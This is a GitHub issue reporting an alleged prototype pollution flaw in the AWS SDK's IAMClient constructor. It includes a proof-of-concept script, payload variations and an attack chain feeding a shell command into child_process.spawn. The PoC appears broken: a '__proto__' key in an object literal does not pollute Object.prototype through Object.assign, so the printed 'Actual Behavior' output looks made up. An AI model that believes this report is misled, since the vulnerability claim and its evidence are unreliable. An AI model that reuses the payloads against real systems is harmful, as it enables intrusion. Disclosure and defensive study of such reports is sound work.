-
Notifications
You must be signed in to change notification settings - Fork 1.5k
Prototype Pollution Vulnerability in @aws-sdk/client-iam <= 3.980.0 #4715
Description
Describe the bug
Prototype Pollution via Constructor Configuration in @aws-sdk/client-iam
Summary
A prototype pollution vulnerability exists in @aws-sdk/client-iam version 3.980.0 and earlier. The IAMClient constructor accepts a configuration object that is processed through resolveClientEndpointParameters(), which uses Object.assign() to merge user-controlled input without proper sanitization. This allows attackers to inject properties into Object.prototype by passing specially crafted configuration objects containing __proto__ keys, potentially leading to authentication bypass, denial of service, or remote code execution in dependent applications.
Details
The vulnerability originates in the endpoint parameter resolution logic within the IAM client initialization process. When instantiating an IAMClient, the configuration object flows through multiple merge operations that do not adequately sanitize prototype pollution vectors.
Vulnerable Code Location:
- File:
package/package/dist-es/endpoint/EndpointParameters.js - Primary Sink: Line 2
Vulnerable Code Pattern:
return Object.assign(options, {...The vulnerability manifests through three identified RECURSIVE_MERGE sinks:
-
Line 2 (EndpointParameters.js): Direct merge of user-supplied options
return Object.assign(options, {...
-
Line 6: Extension configuration merge
const extensionConfiguration = Object.assign(getAw...
-
Line 8: Runtime configuration merge
return Object.assign(runtimeConfig, resolveAwsRegi...
When a configuration object containing __proto__ is passed to the IAMClient constructor, these merge operations propagate the polluted properties to Object.prototype, affecting all JavaScript objects in the runtime environment.
Root Cause:
The use of Object.assign() with user-controlled input without prior sanitization of dangerous keys (__proto__, constructor, prototype) enables prototype chain manipulation.
PoC
Prerequisites
- Node.js environment (tested on Node.js 14.x and later)
- npm or yarn package manager
Steps to Reproduce
-
Install the vulnerable package:
npm install @aws-sdk/client-iam@3.980.0
-
Create a test file (
test-pollution.js):const { IAMClient } = require('@aws-sdk/client-iam'); // Verify Object.prototype is clean before test console.log('Before pollution:'); console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin); console.log('({}).isAdmin:', ({}).isAdmin); // Instantiate IAMClient with malicious payload const maliciousConfig = { __proto__: { isAdmin: true, polluted: 'malicious_value' }, region: 'us-east-1' }; const client = new IAMClient(maliciousConfig); // Check if pollution occurred console.log('\nAfter pollution:'); console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin); console.log('({}).isAdmin:', ({}).isAdmin); console.log('Object.prototype.polluted:', Object.prototype.polluted); // Demonstrate impact on unrelated objects const unrelatedObject = {}; console.log('\nImpact on unrelated object:'); console.log('unrelatedObject.isAdmin:', unrelatedObject.isAdmin); console.log('unrelatedObject.polluted:', unrelatedObject.polluted);
-
Execute the test:
node test-pollution.js
Expected Behavior
The IAMClient should reject or sanitize the __proto__ key, preventing pollution of Object.prototype. The output should show undefined for all pollution checks.
Actual Behavior
Before pollution:
Object.prototype.isAdmin: undefined
({}).isAdmin: undefined
After pollution:
Object.prototype.isAdmin: true
({}).isAdmin: true
Object.prototype.polluted: malicious_value
Impact on unrelated object:
unrelatedObject.isAdmin: true
unrelatedObject.polluted: malicious_value
The Object.prototype is successfully polluted, and all JavaScript objects inherit the injected properties.
Alternative Payload Variations
Constructor-based pollution:
const client = new IAMClient({
constructor: { prototype: { isAdmin: true } },
region: 'us-east-1'
});Nested prototype pollution:
const client = new IAMClient({
__proto__: {
toString: () => 'compromised',
valueOf: () => ({ malicious: true })
},
region: 'us-east-1'
});Impact
This prototype pollution vulnerability poses HIGH to CRITICAL severity risk depending on the application context. The security implications include:
1. Property Injection
Attackers can inject arbitrary properties into all JavaScript objects throughout the application runtime, affecting:
- Application logic that relies on property existence checks
- Default values and fallback mechanisms
- Object serialization and validation routines
2. Authentication and Authorization Bypass
If the application uses property checks for access control:
if (user.isAdmin) {
// Grant administrative access
}An attacker polluting Object.prototype.isAdmin = true would bypass this check for all objects.
3. Denial of Service (DoS)
By overwriting critical object methods or properties:
{ __proto__: { toString: null, valueOf: null } }This can crash the application or cause infinite loops when these methods are invoked.
4. Remote Code Execution (RCE)
If polluted properties flow into dangerous sinks such as:
eval()orFunction()constructorschild_process.exec()orchild_process.spawn()- Template engines
- Dynamic property access in security-sensitive contexts
Example attack chain:
// Attacker pollutes prototype
new IAMClient({ __proto__: { shell: '/bin/sh -c "malicious command"' } });
// Later in application code
const options = {};
child_process.spawn(options.shell || '/bin/bash'); // Executes malicious command5. Security Control Bypass
Prototype pollution can bypass:
- Input validation libraries that check object properties
- Security middleware that relies on object shape validation
- CSRF token validation
- Rate limiting mechanisms
Real-World Attack Scenarios
Scenario 1: Multi-tenant SaaS Application
An application using @aws-sdk/client-iam to manage AWS IAM permissions for multiple tenants could allow one tenant to pollute the prototype, affecting authorization checks for all tenants.
Scenario 2: Serverless Functions
AWS Lambda functions using this package could be compromised if they process user input through the IAM client configuration, potentially affecting all subsequent invocations in the same container.
Scenario 3: CI/CD Pipelines
Automated deployment systems using this SDK could be exploited if configuration is sourced from untrusted inputs, leading to privilege escalation in the deployment environment.
Affected Applications
Any application that:
- Uses
@aws-sdk/client-iamversion ≤ 3.980.0 - Passes user-controlled or untrusted data to the
IAMClientconstructor - Relies on object property checks for security decisions
- Operates in multi-tenant or shared runtime environments
Remediation Recommendations
Until an official patch is released, consider these mitigations:
-
Input Sanitization: Validate and sanitize all configuration objects before passing to
IAMClient:function sanitizeConfig(config) { const { __proto__, constructor, prototype, ...safe } = config; return safe; } const client = new IAMClient(sanitizeConfig(userInput));
-
Object Freezing: Freeze
Object.prototypeat application startup (may break some dependencies):Object.freeze(Object.prototype);
-
Use Object.create(null): For security-sensitive objects, use prototype-less objects:
const config = Object.assign(Object.create(null), userInput);
-
Upgrade: Monitor for patched versions and upgrade immediately when available.